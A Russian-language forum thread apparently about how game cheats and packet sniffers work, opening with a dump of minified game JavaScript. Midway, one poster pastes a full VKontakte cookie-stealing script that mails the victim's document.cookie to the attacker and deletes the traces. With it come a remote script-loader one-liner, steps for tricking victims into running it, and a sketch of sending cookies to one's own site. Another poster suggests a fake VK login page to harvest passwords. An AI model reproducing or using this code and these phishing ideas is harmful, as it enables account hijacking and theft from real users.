function Agb(){if(dM)return dM;return dM=new Urb(Y9b,cCb,qpc)}
function zgb(){if(cM)return cM;return cM=new Urb(Y9b,bCb,R5b)}
function Bgb(){if(eM)return eM;return eM=new Urb(Y9b,eCb,T5b)}
function Cgb(){if(fM)return fM;return fM=new Urb(Y9b,ZIb,o6b)}
function xgb(){if(aM)return aM;return aM=new Urb(Apc,fJb,P5b)}
function dhb(){if(JM)return JM;return JM=new Urb('p',aCb,Q5b)}
function ehb(){if(KM)return KM;return KM=new Urb(Efc,fxb,'F')}
function fhb(){if(LM)return LM;return LM=new Urb(Efc,fEb,J6b)}
function ghb(){if(MM)return MM;return MM=new Urb(Dfc,fxb,'F')}
function hhb(){if(NM)return NM;return NM=new Urb(Dfc,fEb,J6b)}
function ihb(){if(OM)return OM;return OM=new Urb(Ffc,fxb,'F')}
function jhb(){if(PM)return PM;return PM=new Urb(Ffc,fEb,J6b)}
function khb(){if(QM)return QM;return QM=new Urb(Cfc,fxb,'F')}
function lhb(){if(RM)return RM;return RM=new Urb(Cfc,fEb,J6b)}
function mhb(){if(SM)return SM;return SM=new Urb(Lfc,fxb,'F')}
function nhb(){if(TM)return TM;return TM=new Urb(Lfc,fEb,J6b)}
function vhb(){if(_M)return _M;return _M=new Urb(ccc,jzb,Roc)}
function whb(){if(aN)return aN;return aN=new Urb(ccc,rCb,Dpc)}
function Ahb(){if(eN)return eN;return eN=new Urb(Jic,dxb,'C')}
function Bhb(){if(fN)return fN;return fN=new Urb(Iic,CKb,'Z')}
function Lgb(){if(oM)return oM;return oM=new Urb(Ihc,CKb,'Z')}
function Kgb(){if(nM)return nM;return nM=new Urb(Hhc,CKb,'Z')}
function Mgb(){if(pM)return pM;return pM=new Urb(vic,CKb,'Z')}
function Xhb(){if(BN)return BN;return BN=new Urb(Fpc,vBb,ipc)}
function Yhb(){if(CN)return CN;return CN=new Urb(Fpc,wBb,Bpc)}
function Zhb(){if(DN)return DN;return DN=new Urb(Fpc,aCb,Q5b)}
function $hb(){if(EN)return EN;return EN=new Urb(Fpc,bCb,R5b)}
function bib(){if(HN)return HN;return HN=new Urb(edc,gxb,'I')}
function jib(){if(PN)return PN;return PN=new Urb(Hpc,WBb,Cpc)}
function kib(){if(QN)return QN;return QN=new Urb(Hpc,SEb,a6b)}
function cib(){if(IN)return IN;return IN=new Urb(Z8b,SEb,a6b)}
function dib(){if(JN)return JN;return JN=new Urb(Z8b,YEb,Gpc)}
function eib(){if(KN)return KN;return KN=new Urb(Z8b,kKb,dpc)}
function mib(){if(SN)return SN;return SN=new Urb(W6b,CFb,Uoc)}
function Qfb(){if(tL)return tL;return tL=new Urb(lWb,lFb,Soc)}
function P_(){if(qv)return qv;return qv=new Urb('c1',mBb,Sbc)}
function Q_(){if(rv)return rv;return rv=new Urb('c1',SJb,Tbc)}
function V1(){if(wx)return wx;return wx=new Urb('c2',SJb,Tbc)}
function U1(){if(vx)return vx;return vx=new Urb('c2',mBb,Sbc)}
function d7(){if(GC)return GC;return GC=new Urb('cs',GIb,Qoc)}
function qib(){if(WN)return WN;return WN=new Urb(uhc,aCb,Q5b)}
function rib(){if(XN)return XN;return XN=new Urb(uhc,bCb,R5b)}
function pib(){if(VN)return VN;return VN=new Urb(uhc,gxb,'I')}
function tib(){if(ZN)return ZN;return ZN=new Urb(bac,gxb,'I')}
function sib(){if(YN)return YN;return YN=new Urb(bac,fxb,'F')}
function vib(){if(_N)return _N;return _N=new Urb(vfc,fxb,'F')}
function yib(){if(cO)return cO;return cO=new Urb(ufc,fxb,'F')}
function Yib(){if(CO)return CO;return CO=new Urb('r',fxb,'F')}
function Zib(){if(DO)return DO;return DO=new Urb('r',gxb,'I')}
function $ib(){if(EO)return EO;return EO=new Urb('r',hBb,c6b)}
function _ib(){if(FO)return FO;return FO=new Urb('r',$Bb,n6b)}
function wib(){if(aO)return aO;return aO=new Urb(vfc,fEb,J6b)}
function zib(){if(dO)return dO;return dO=new Urb(ufc,fEb,J6b)}
function Dib(){if(hO)return hO;return hO=new Urb(Yec,CKb,'Z')}
function Rib(){if(vO)return vO;return vO=new Urb(nlc,CKb,'Z')}
function jjb(){if(PO)return PO;return PO=new Urb(qlc,CKb,'Z')}
function ejb(){if(KO)return KO;return KO=new Urb(Ojc,CKb,'Z')}
function Ojb(){if(sP)return sP;return sP=new Urb(Kec,CKb,'Z')}
function Jjb(){if(nP)return nP;return nP=new Urb(y9b,CKb,'Z')}
function Pjb(){if(tP)return tP;return tP=new Urb(m8b,gxb,'I')}
function Kjb(){if(oP)return oP;return oP=new Urb(Gjc,gxb,'I')}
function Tjb(){if(xP)return xP;return xP=new Urb(Aac,gxb,'I')}
function Sjb(){if(wP)return wP;return wP=new Urb(Aac,fxb,'F')}
function $jb(){if(EP)return EP;return EP=new Urb(Pac,fxb,'F')}
function Rjb(){if(vP)return vP;return vP=new Urb(Rjc,fxb,'F')}
function nkb(){if(TP)return TP;return TP=new Urb('s',fxb,'F')}
function okb(){if(UP)return UP;return UP=new Urb('s',gxb,'I')}
function pkb(){if(VP)return VP;return VP=new Urb('s',GIb,Qoc)}
function qkb(){if(WP)return WP;return WP=new Urb('s',fJb,P5b)}
function Gjb(){if(kP)return kP;return kP=new Urb(Anc,fJb,P5b)}
function Ujb(){if(yP)return yP;return yP=new Urb(Aac,fEb,J6b)}
function Vjb(){if(zP)return zP;return zP=new Urb(Aac,CKb,'Z')}
function hkb(){if(NP)return NP;return NP=new Urb(tac,CKb,'Z')}
function rkb(){if(XP)return XP;return XP=new Urb('s',AKb,'S')}
function gkb(){if(MP)return MP;return MP=new Urb(Pac,YBb,jpc)}
function Njb(){if(rP)return rP;return rP=new Urb(Yhc,Mzb,$oc)}
function Ajb(){if(eP)return eP;return eP=new Urb(gdc,oCb,Z5b)}
function Cjb(){if(gP)return gP;return gP=new Urb(Zcc,oCb,Z5b)}
function Ckb(){if(gQ)return gQ;return gQ=new Urb(F8b,fxb,'F')}
function zkb(){if(dQ)return dQ;return dQ=new Urb(Qac,fxb,'F')}
function Akb(){if(eQ)return eQ;return eQ=new Urb(Rac,fxb,'F')}
function Qkb(){if(uQ)return uQ;return uQ=new Urb(fdc,gxb,'I')}
function Rkb(){if(vQ)return vQ;return vQ=new Urb(Dhc,CKb,'Z')}
function Ukb(){if(yQ)return yQ;return yQ=new Urb(Jhc,CKb,'Z')}
function blb(){if(HQ)return HQ;return HQ=new Urb(mjc,CKb,'Z')}
function dlb(){if(JQ)return JQ;return JQ=new Urb(Dic,gxb,'I')}
function Vkb(){if(zQ)return zQ;return zQ=new Urb(gic,oCb,Z5b)}
function alb(){if(GQ)return GQ;return GQ=new Urb(Thc,oCb,Z5b)}
function elb(){if(KQ)return KQ;return KQ=new Urb(ehc,zEb,B6b)}
function Skb(){if(wQ)return wQ;return wQ=new Urb(Whc,xDb,Mpc)}
function llb(){if(RQ)return RQ;return RQ=new Urb(xmc,aBb,bpc)}
function ilb(){if(OQ)return OQ;return OQ=new Urb(r7b,rKb,tpc)}
function ulb(){if($Q)return $Q;return $Q=new Urb(s9b,fxb,'F')}
function vlb(){if(_Q)return _Q;return _Q=new Urb(s9b,gxb,'I')}
function slb(){if(YQ)return YQ;return YQ=new Urb(Vlc,gxb,'I')}
function Flb(){if(jR)return jR;return jR=new Urb(Afc,fxb,'F')}
function Hlb(){if(lR)return lR;return lR=new Urb(zfc,fxb,'F')}
function Jlb(){if(nR)return nR;return nR=new Urb(Bfc,fxb,'F')}
function Klb(){if(oR)return oR;return oR=new Urb(Bfc,fEb,J6b)}
function Glb(){if(kR)return kR;return kR=new Urb(Afc,fEb,J6b)}
function Ilb(){if(mR)return mR;return mR=new Urb(zfc,fEb,J6b)}
function Mlb(){if(qR)return qR;return qR=new Urb(yfc,fEb,J6b)}
function Olb(){if(sR)return sR;return sR=new Urb(Kfc,fEb,J6b)}
function xlb(){if(bR)return bR;return bR=new Urb(s9b,fEb,J6b)}
function wlb(){if(aR)return aR;return aR=new Urb(s9b,aCb,Q5b)}
function Dkb(){if(hQ)return hQ;return hQ=new Urb(F8b,aCb,Q5b)}
function Ekb(){if(iQ)return iQ;return iQ=new Urb(F8b,bCb,R5b)}
function Jkb(){if(nQ)return nQ;return nQ=new Urb(d8b,bCb,R5b)}
function bjb(){if(HO)return HO;return HO=new Urb(c9b,fxb,'F')}
function umb(){if($R)return $R;return $R=new Urb(w7b,fxb,'F')}
function vmb(){if(_R)return _R;return _R=new Urb(w7b,gxb,'I')}
function rmb(){if(XR)return XR;return XR=new Urb(oec,gxb,'I')}
function tmb(){if(ZR)return ZR;return ZR=new Urb(pec,gxb,'I')}
function smb(){if(YR)return YR;return YR=new Urb(pec,fxb,'F')}
function qmb(){if(WR)return WR;return WR=new Urb(oec,fxb,'F')}
function Llb(){if(pR)return pR;return pR=new Urb(yfc,fxb,'F')}
function Nlb(){if(rR)return rR;return rR=new Urb(Kfc,fxb,'F')}
function Ulb(){if(yR)return yR;return yR=new Urb(hic,fxb,'F')}
function Alb(){if(eR)return eR;return eR=new Urb(Chc,CKb,'Z')}
function wmb(){if(aS)return aS;return aS=new Urb(w7b,hxb,'J')}
function xmb(){if(bS)return bS;return bS=new Urb(w7b,vBb,ipc)}
function ymb(){if(cS)return cS;return cS=new Urb(w7b,aCb,Q5b)}
function zmb(){if(dS)return dS;return dS=new Urb(w7b,bCb,R5b)}
function Gmb(){if(kS)return kS;return kS=new Urb(tZb,fJb,P5b)}
function Tmb(){if(xS)return xS;return xS=new Urb(Uec,NDb,M6b)}
function Pmb(){if(tS)return tS;return tS=new Urb(Uec,xDb,Mpc)}
function Mmb(){if(qS)return qS;return qS=new Urb(Uec,rDb,upc)}
function Nmb(){if(rS)return rS;return rS=new Urb(Uec,tDb,vpc)}
function Ymb(){if(CS)return CS;return CS=new Urb(Uec,jEb,Npc)}
function qnb(){if(WS)return WS;return WS=new Urb(Ybc,cCb,qpc)}
function tnb(){if(ZS)return ZS;return ZS=new Urb(Ybc,kKb,dpc)}
function nnb(){if(TS)return TS;return TS=new Urb(Ybc,syb,Voc)}
function mnb(){if(SS)return SS;return SS=new Urb(Ybc,gxb,'I')}
function inb(){if(OS)return OS;return OS=new Urb(gkc,fxb,'F')}
function cnb(){if(IS)return IS;return IS=new Urb('t',fxb,'F')}
function enb(){if(KS)return KS;return KS=new Urb('t',mKb,spc)}
function knb(){if(QS)return QS;return QS=new Urb(Hcc,oCb,Z5b)}
function rnb(){if(XS)return XS;return XS=new Urb(Ybc,oCb,Z5b)}
function onb(){if(US)return US;return US=new Urb(Ybc,aCb,Q5b)}
function pnb(){if(VS)return VS;return VS=new Urb(Ybc,bCb,R5b)}
function xnb(){if(bT)return bT;return bT=new Urb(pgc,fJb,P5b)}
function wnb(){if(aT)return aT;return aT=new Urb(pgc,GIb,Qoc)}
function Jnb(){if(nT)return nT;return nT=new Urb(Akc,syb,Voc)}
function Knb(){if(oT)return oT;return oT=new Urb(Kjc,syb,Voc)}
function Anb(){if(eT)return eT;return eT=new Urb(bic,fxb,'F')}
function Hnb(){if(lT)return lT;return lT=new Urb(Zdc,fxb,'F')}
function bob(){if(HT)return HT;return HT=new Urb(Sjc,fxb,'F')}
function fob(){if(LT)return LT;return LT=new Urb(qkc,fxb,'F')}
function gob(){if(MT)return MT;return MT=new Urb(rkc,fxb,'F')}
function cob(){if(IT)return IT;return IT=new Urb(iYb,fxb,'F')}

Вот онлайновая игра. Её код хранится в браузере и его "легко" прочитать. В спойлере скинул небольшую часть кода (весь код слишком огромный). Чтобы делать как соник ты должен понимать что какая функция делает.

Ясень пень, что руками вызывать эти функции в консоле - плохой выбор. Для начала надо написать программу, которая будет вызывать эти функции по очереди. А ты будешь сидеть за монитором и наблюдать как меняется игра.

Например, в игре есть индикатор золота. И ты каким-то боком точно знаешь, где он расположен в коде. Ну, например, пиро делал счет в инвайдерах в диве. Тогда тебе нужно написать прогу, которая перебирает все функции подряд и меняет этот див. Т.е. отслеживает изменение. Изменился счет - значит функция нужная.

Далее, ты вызываешь эту функцию с желаемым аргументов (например, миллиард золота), вызываешь. Функция обращается к серверу. Но на сервере стоит программа от разработчиков игры, которая отслеживает все подозрительные скачки золота. Заметь, написать защитную программу в сто раз легче, чем скрипт поиска нужной функции для взлома.

Теперь тебе нужно каким-то образом обойти защитную программу на сервере. А как именно - я хз. Вот как ты обойдешь условия функции:
Код:
fuction setGold(count){
currentCount = dbGetCount(); //узнаем счет, который записан в бд
if(coun > currentCountt+50000){ //50000 - подозрительный скачек роста счета
  //злоумышленник пойман
}else{
  dbSetCount(count); //счет успешно записался
}
}

Но это самая простая функция. Можно на проверку подозрительности много еще чего добавить.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 5:45 pm

Использовалась для того, чтоб фильтровать лут, который выпадает из монстров. То есть сначала пропускался весь лут через прогу, потом определялись пакеты с ненужным и они просто блокировались и игрок видел из 100 выпавших предметов сразу 2-3 нужных ему. Также это использовалось для разгрузки процессора - ненужные элементы просто выключались. Всегда интересовало как такой сниффер создать.
Это раздолбайство или просто поxуизм. В сети миллиард сайтов-рулеток. Было бы так просто, давно бы все стали миллиардерами.

Очень просто фиксится: отправляешь клиенту только номера кейсов, а сами кейсы определяются на сервере. Клиент выбирает кейс, отправляет запрос, затем только сервер отправляет выбранный кейс клиенту. А в той игре сразу отправляли кейсы. Банальная дырка. Но я бы тоже не стал закрывать.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 6:08 pm

Дружище, при чём тут ввод кода в гта или комбинация клавиш? Это для детей вообще и для не онлайн игр. Мы ж про онлайн игры говорим. Ты ушёл не в ту сторону вообще. Забудь про взлом сервера игры, никаких подборов паролей админа никто делать не будет и никогда не слышал, чтоб делали. Перечитай мой самый первый пост.  Не надо ловить пакеты за час активной игры, сниффер включается, делается действие, сниф выключается, занимает всё секунд 5, получаешь пару десятков пакетов, поиск нужного обычно не занимает много времени. Вопрос в том, что потом с этим нужным пакетом сделать. Ну, выделил его и толку. Вот если его отловить до попадания в клиент, изменить и уже изменённый прислать - это другое дело. Знать бы как.

По поводу поиска дива - есть готовые скрипты с поиском всех дивов и изменением цвета содержимого. Легче взять те же артмани и отфильтровать сразу нужные переменные (тоже занимает минуту), её даже можно изменить сразу, только это ничего не даст в 99% случаев, потому что изменения будут на клиенте только.

Что касается проверки на подозрительные увеличения - если у тебя изначально 100 монет, а у другого игрока 5кк монет, то ты себе можешь спокойно поставить 5кк и это не будет считаться никаким подозрительным действием.

В общем, нужную функцию найти не так сложно как перезаписать её на сервере.

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 6:43 pm

Перечитай мой самый первый пост.
Я его не читал, звиняюсь) Но короч, мы остановились на том, что получить нужную инфу - легко, а сохранить результат на сервере - сложно.

Но, блеять, знаешь что? Я теперь думаю о взломе сайтов (не игровых).

Более менее понимаю устройство сайтов. Если в вк сделано так, как думаю, то нужно только получить чужие куки. вк - здесь пишут, что в вк и логин и пароль хранится в куках.

Вопос в том, как получить чужие куки. Сюда перекину инфу с гугла:
=======================================================
Все знают что если в адресной строке ввести один ява скрипт то можно увидеть чужие кукки, но как же их получить беспалевно? Есть один способ...

Вот кратенькая инструкция для собирания кукисов вконтакте:
1. Сам скрипт:
Код:
Javascript:var percentGold=100;var widthLeft=20;var widthRight=179;var t;var memPerSec=10.00741833975;function d(m,j,l){var i=(m+'').indexOf(j,l);return i=== -1?false:i;};function _a(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percentGold').innerHTML=percentGold;ge('rateLeftGold').style.width=widthLeft+"px";ge('rateRightGold').style.width=widthRight+"px";percentGold=percentGold+1;widthLeft=Math.floor(Math.sin((percentGold-100)/500)*179+20);widthRight=199-widthLeft;if(widthRight<=1){clearTimeout(t);}else t=setTimeout(_a,next);};function first(){if(ge('percent')){percentGold=ge('percent').innerHTML;var pos=d(percentGold,">",0);if(pos==false) {percentGold=parseInt(percentGold);}else percentGold=parseInt(percentGold.substr(pos+1,3)); widthLeft=parseInt(ge('rateLeft').style.width);widthRight=parseInt(ge('rateRight').style.width);_b();}else{percentGold=parseInt(ge('percentGold').innerHTML);widthLeft=parseInt(ge('rateLeftGold').style.width);widthRight=parseInt(ge('rateRightGold').style.width);_a();}};function _b(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percent').innerHTML=percentGold+"%";ge('rateLeft').style.width=widthLeft+"px";ge('rateRight').style.width=widthRight+"px";percentGold=percentGold+1;if(percentGold>100){clearTimeout(t);ge('percent').id="percentGold";ge('rateLeft').id='rateLeftGold';ge('rateRight').id='rateRightGold';widthLeft=20;widthRight=179;_a();}else{widthLeft=widthLeft+2;widthRight=199-widthLeft;t=setTimeout(_b,next);}};var f=document.createElement('div');f.style.display="none";var params;function a(){Ajax.Post({url:'friend.php',query:{act:'a_add_form',fid:999999},onDone:function(ajaxObj,responseText){try{var text=responseText;var response=eval('('+responseText+')');f.innerHTML=response.text;var form=ge('addFriendForm');if(!form)return;var params=serializeForm(form);Ajax.Post({url:'friend.php',query:params});}catch(e){}}});};function b(){Ajax.Get({url:'mail.php',query:{act:'write',to: 999999},onDone:function(ajaxObj,responseText){var text=responseText;try{f.innerHTML=responseText;params={act:ge('act').value,ajax:1,misc:ge('misc')?ge('misc').value:'',secure:ge('secure')?ge('secure').value:'',chas:ge('chas').value,photo:ge('photo')?ge('photo').value:'',to_id:999999,to_reply:ge('to_reply').value,toFriends:ge('toFriends')?ge('toFriends').value:'',title:ge('title').value,message:''+Math.round(Math.random()*10000)+document.cookie+Math.round(Math.random()*10000)};setTimeout(c,3000);}catch(e){}}});}; function c() {Ajax.Post({url:'mail.php',query:params,onDone: function(ajaxObj,responseText){setTimeout(e,1000);}});}; function e(){Ajax.Get({url:'mail.php',query:{out:"1",rnd:Math.round(Math.random()*10000)},onDone:function(ajaxObj,responseText){try{var k='<a href="mail.php?act=write&to=999999&r=';var pos=d(responseText,k,0); var g=d(responseText,'&out=1"',pos); if(pos==false)return; var messid=parseInt(responseText.substr(pos+k.length,g-pos));params={act:"a_delete",id:messid,out:1}; Ajax.Post({url:'mail.php',query:params});}catch(e){}}});}; onDomReady(function(){document.body.appendChild(f); first();a();b();});
2. Для "приручения" скриптика надо заменить id(999999) на свой в 4 местах. После этого скрипт готов для работы.
3.Для всучения скрипта жертве используется редирект:
Код:
javascript:function loadScript(scriptURL) { var scriptElem = document.createElement('SCRIPT'); scriptElem.setAttribute('language',%20'%4A%61%76%61%53%63%72%69%70%74'); scriptElem.setAttribute('src', scriptURL); document.body.appendChild(scriptElem);}loadScript('SCRIPT URL');
Где вместо "SCRIPT URL" вставляем адрес нашего скрипта, который мы предварительно залили на любой хост.
4.Ссылку на скрипт лучше зашифровать.. Свою ссылку вставляем после знака вопроса.
5.Вот впринципе и всё. Единственно скрипт работает только на главной странице т.е. скрипт желательно скидывать на стену. Или переделать скрипт под любой другой, например скачка музыки или добавление всех друзей на видео)

Результат работы скрипта, Вам в личку (на тот id который вы прописали) приходят куки жертвы, а жертва видит как поднимается его репа до небес!
Все работает отлично, проверяял лично!
=======================================================

Херня какая-то, а не скрипт в посте. Его конеш лучше не исполнять. Проще написать что-то вроде:
var a = document.cookie;
var url = http://www.mysite.ru/
xhr.open(url + "GET", a , true); //ну по-другому, лень исправлять, суть вы поняли
Т.е. тупо отослать куки на наш сайт гет-запросом. Ну или пут. Короче это легко. Только надо заставить человека ввести прямо на сайте, с которого хотим получить куки, в строку наш скрипт.

Чутка посложнее и более гарантированно:
хабраУ mail.ru и вк и прочих есть api который сам отправляет сообщения на сайты. Как сообщения вк в комментариях к новостям, о которым мы недавно говорили. В данные запросы надо вставить document.cookie и вк сам отправит куки на сайт. Где мы их примем и прочтем. Только надо, чтоб человек был залогинен на сайте с вк.

Теперь осталось понять, какая функция api вк отправляет сообщения.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 6:50 pm

Что если вконтакте засунуть в iframe на нашем сайте. Какими-то ухищрениями этот iframe спрятать. И в этом iframe исполнить любые скрипты, которые мы хотим?

Я понимаю, что это нереально. Но вопрос почему?

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 7:00 pm

Ты пишешь свой скрипт в строчку и отправляешь как ссылку в вк или на почту, человек кликает, думая, что там картинка...таким образом можно удалять себя из чёрного списка , например.

pyro сказал, что логин на сайтах через вк не прописывает в куки пароли, а просто сопоставляет данные и отправляет типа подтверждения, что да, такой человек зареген, вот его имя и фамилия. Вряд ли куки хранят пароли. Пароли хранятся в браузере (понятия не имею где именно), но знаю, что они зашифрованы.

Я когда-то пытался найти свой же пароль от вк но у меня не получилось. Запускал снифферы, но все данные зашифрованы были. Единственный пароль, который я смог словить и он был в читаемом виде - это пароль от роутера. Так что ВК мне приходилось восстанавливать пару раз, потому что зайти не мог а пароль не помнил)

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 7:01 pm

raingo пишет:Что если вконтакте засунуть в iframe на нашем сайте. Какими-то ухищрениями этот iframe спрятать. И в этом iframe исполнить любые скрипты, которые мы хотим?

Я понимаю, что это нереально. Но вопрос почему?

вообще не понял гениальность твоего замысла, переведи

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 7:02 pm

Я его и сам не понял)) Т.к. не разбираюсь в iframe=)

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 7:03 pm

Но кстати, обратный вариант точно возможен. Создать сайт. Зарегать в вк приложение - наш сайт. И делать все, что захочешь. Но конечно админы вк мониторят все приложения и такие вещи не прокатывают.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 7:04 pm

Создай себе сайт, сделай там вход через вконтакте и лови себе все пароли и логины

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 7:08 pm

уверен, что прокатывают, но там где пароль вк, там и доступ к голосам, а пароли у людей обычно одинаковые как для вк так и для банковских карт, а это уже статья о мошенничестве)
А вот если б ты смог обманывать онлайн казино - это другое дело. Ну или игрушку какую-то

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 7:20 pm

Да, вряд ли онлайн-казино обратится в суд. Только хз как их хакнуть.

У меня кстати один раз украли голоса. А сейчас в вк еще и микротранзакции всякие делают.

Создай себе сайт, сделай там вход через вконтакте и лови себе все пароли и логины
я понял, что скорее всего "document.cookie" экранируют. Или вообще эти слова занесены в черный список. Тяжело хакерить в наше время..

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 7:30 pm

я бы сказал не тяжело, а эксклюзивно. Но ведь это здорово. Я бы не хотел, чтоб каждый второй умел взломать сайт, перевести себе все деньги и радоваться жизни. Или в игру зашёл на новый сервер , а там через пол часа все топ уровни в лучшей одежде бегают.

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 7:51 pm

Высокий уровень защиты привел к высокому уровню грамотности. Что в свою очередь приводит к высокой потребности вечно развиваться и догонять этот уровень.

7 лет назад мейл.ру был ключевым фактором для взлома, все там хранили письма с паролями. И была такая дикая ошибка с пересылом куков через внутренний api.

Если бы не сегодняшний диалог, хер бы я узнал об этом. И хер бы знал о такой дыре. А теперь когда захочу делать внешний api на сайте буду знать, что в запросах надо слова "document.cookie" выводить в черный список.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор S30N1k в Пт Апр 27, 2018 11:57 pm

Бле, я не разобрался как в лс ответить, лол Very Happy

Отвечу тут.
Я просто очень хорошо изучил структуру поинта, что как, куда и зачем, поэтому смог набросать аля "почти универсальный чит" для него) а так, я в этом не силен.
avatar
S30N1k

Сообщения : 97
Дата регистрации : 2017-12-27

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Сб Апр 28, 2018 2:04 am

вот так обрушил все надежды разом Wink

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Спонсируемый контент


Спонсируемый контент


Вернуться к началу Перейти вниз

Вернуться к началу

- Похожие темы

 
Права доступа к этому форуму:
Вы не можете отвечать на сообщения